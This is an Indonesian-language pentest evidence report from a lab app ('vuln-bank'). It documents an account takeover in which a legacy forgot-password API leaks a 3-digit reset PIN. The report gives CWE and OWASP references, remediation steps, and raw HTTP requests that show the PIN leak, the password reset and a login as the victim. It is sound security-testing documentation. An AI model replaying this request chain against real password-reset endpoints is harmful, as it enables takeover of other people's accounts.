Skenario 01 / 26FAIL

Account Takeover - Password Reset - Reset PIN Disclosure

Lingkungan lab — bukan sistem produksi

Tangkapan layar dan trafik mentah tidak diterjemahkan; teks di dalamnya mungkin menggunakan bahasa lain.

vuln-bank/Evidence/[FAIL] Account Takeover - Password Reset - Reset PIN Disclosure

01 — Catatan

Catatan pengujian

Kerentanan

[FAIL] Account Takeover - Password Reset - Reset PIN Disclosure

Deskripsi

Endpoint /api/v1/forgot-password mengembalikan reset PIN korban langsung di dalam body respons HTTP pada field debug_info.pin. PIN ini seharusnya hanya dikirim ke kanal milik korban (email). Siapa pun yang mengetahui username dapat meminta PIN, lalu memakainya pada /api/v1/reset-password untuk menetapkan password baru.

Dampak

Confidentiality + Integrity (Critical): pengambilalihan akun penuh tanpa interaksi korban dan tanpa akses ke email korban. Penyerang cukup mengetahui username untuk mengganti password dan masuk sebagai korban, termasuk akun administrator. Rekening dan seluruh fungsi perbankan korban menjadi terkendali penyerang.

CWE

CWE-640: Weak Password Recovery Mechanism for Forgotten Password

OWASP

A07:2021 - Identification and Authentication Failures

Skenario

Normal: /api/v2/forgot-password menerima permintaan dan menyatakan PIN dikirim ke email, tanpa membocorkan PIN. Eksploitasi: endpoint versi lama /api/v1/forgot-password mengembalikan PIN pada respons. Chain: PIN dipakai pada /api/v1/reset-password untuk menetapkan password pilihan penyerang. Dampak: login sebagai korban berhasil.

Endpoint

POST http://127.0.0.1:5001/api/v1/forgot-password POST http://127.0.0.1:5001/api/v1/reset-password

Fitur terdampak

Pemulihan password / lupa password (API v1)

Rekomendasi perbaikan

- Jangan pernah mengembalikan reset PIN, OTP, atau token pemulihan pada respons HTTP; kirim hanya melalui kanal terverifikasi milik pengguna. - Hapus blok debug_info dari seluruh respons produksi. - Pensiunkan endpoint versi lama (v1) yang sudah digantikan v2/v3. - Gunakan token acak panjang dengan masa berlaku singkat dan sekali pakai, bukan PIN 3 digit. - Terapkan rate limiting dan invalidasi seluruh sesi aktif setelah reset password.

Bukti konsep

1) (Screenshot 1) NORMAL: /api/v2/forgot-password untuk pentest_victim -> respons tidak memuat PIN. 2) (Screenshot 2) EKSPLOITASI: /api/v1/forgot-password untuk pentest_victim -> respons membocorkan debug_info.pin. 3) (Screenshot 3) CHAIN: PIN hasil bocoran dikirim ke /api/v1/reset-password -> reset_success true, password korban diganti. 4) (Screenshot 4) DAMPAK CIA: login sebagai pentest_victim dengan password baru -> token terbit, akun korban diambil alih.
Lihat catatan sumber (bahasa Indonesia)
Vulnerability:
[FAIL] Account Takeover - Password Reset - Reset PIN Disclosure

Description:
Endpoint /api/v1/forgot-password mengembalikan reset PIN korban langsung di dalam body respons HTTP pada field debug_info.pin. PIN ini seharusnya hanya dikirim ke kanal milik korban (email). Siapa pun yang mengetahui username dapat meminta PIN, lalu memakainya pada /api/v1/reset-password untuk menetapkan password baru.

Impact:
Confidentiality + Integrity (Critical): pengambilalihan akun penuh tanpa interaksi korban dan tanpa akses ke email korban. Penyerang cukup mengetahui username untuk mengganti password dan masuk sebagai korban, termasuk akun administrator. Rekening dan seluruh fungsi perbankan korban menjadi terkendali penyerang.

CWE:
CWE-640: Weak Password Recovery Mechanism for Forgotten Password

OWASP:
A07:2021 - Identification and Authentication Failures

Scenario:
Normal: /api/v2/forgot-password menerima permintaan dan menyatakan PIN dikirim ke email, tanpa membocorkan PIN. Eksploitasi: endpoint versi lama /api/v1/forgot-password mengembalikan PIN pada respons. Chain: PIN dipakai pada /api/v1/reset-password untuk menetapkan password pilihan penyerang. Dampak: login sebagai korban berhasil.

Endpoint:
POST http://127.0.0.1:5001/api/v1/forgot-password
POST http://127.0.0.1:5001/api/v1/reset-password

Affected Feature:
Pemulihan password / lupa password (API v1)

Remediation:
- Jangan pernah mengembalikan reset PIN, OTP, atau token pemulihan pada respons HTTP; kirim hanya melalui kanal terverifikasi milik pengguna.
- Hapus blok debug_info dari seluruh respons produksi.
- Pensiunkan endpoint versi lama (v1) yang sudah digantikan v2/v3.
- Gunakan token acak panjang dengan masa berlaku singkat dan sekali pakai, bukan PIN 3 digit.
- Terapkan rate limiting dan invalidasi seluruh sesi aktif setelah reset password.

POC:
1) (Screenshot 1) NORMAL: /api/v2/forgot-password untuk pentest_victim -> respons tidak memuat PIN.
2) (Screenshot 2) EKSPLOITASI: /api/v1/forgot-password untuk pentest_victim -> respons membocorkan debug_info.pin.
3) (Screenshot 3) CHAIN: PIN hasil bocoran dikirim ke /api/v1/reset-password -> reset_success true, password korban diganti.
4) (Screenshot 4) DAMPAK CIA: login sebagai pentest_victim dengan password baru -> token terbit, akun korban diambil alih.

02 — Tangkapan layar

Tangkapan layar (4)

01 / 1
02 / 2
03 / 3
04 / 4

03 — Request dan response

Rekaman HTTP

Sebagian nilai kredensial disamarkan pada tampilan HTML publik ini. Penyamaran ini tidak menjamin bahwa seluruh data sensitif atau berkas tertaut sudah disamarkan.

REKAMAN 01 / 1
HTTP request
POST /api/v2/forgot-password HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Content-Length: 30
Content-Type: application/json

{"username": "pentest_victim"}
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 187
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:12 GMT

{
  "debug_info": {
    "timestamp": "2026-09-30 02:58:12.691317",
    "username": "pentest_victim"
  },
  "message": "Reset PIN has been sent to your email.",
  "status": "success"
}
REKAMAN 02 / 2
HTTP request
POST /api/v1/forgot-password HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Content-Length: 30
Content-Type: application/json

{"username": "pentest_victim"}
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 228
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:13 GMT

{
  "debug_info": {
    "pin": "358",
    "pin_length": 3,
    "timestamp": "2026-09-30 02:58:13.665194",
    "username": "pentest_victim"
  },
  "message": "Reset PIN has been sent to your email.",
  "status": "success"
}
REKAMAN 03 / 3
HTTP request
POST /api/v1/reset-password HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Content-Length: 85
Content-Type: application/json

{"username": "pentest_victim", "reset_pin": "358", "new_password": "PwnedByPentest1"}
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 243
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:14 GMT

{
  "debug_info": {
    "reset_pin_used": "358",
    "reset_success": true,
    "timestamp": "2026-09-30 02:58:14.637378",
    "username": "pentest_victim"
  },
  "message": "Password has been reset successfully",
  "status": "success"
}
REKAMAN 04 / 4
HTTP request
POST /login HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Content-Length: 61
Content-Type: application/json

{"username": "pentest_victim", "password": "[REDACTED-LAB-VALUE]"}
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 498
Set-Cookie: token=[REDACTED-LAB-TOKEN]; HttpOnly; Path=/
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 02:58:15 GMT

{
  "accountNumber": "9159912486",
  "debug_info": {
    "account_number": "9159912486",
    "is_admin": false,
    "login_time": "2026-09-30 02:58:15.599480",
    "user_id": 3,
    "username": "pentest_victim"
  },
  "isAdmin": false,
  "message": "Login successful",
  "status": "success",
  "token": "[REDACTED-LAB-VALUE]"
}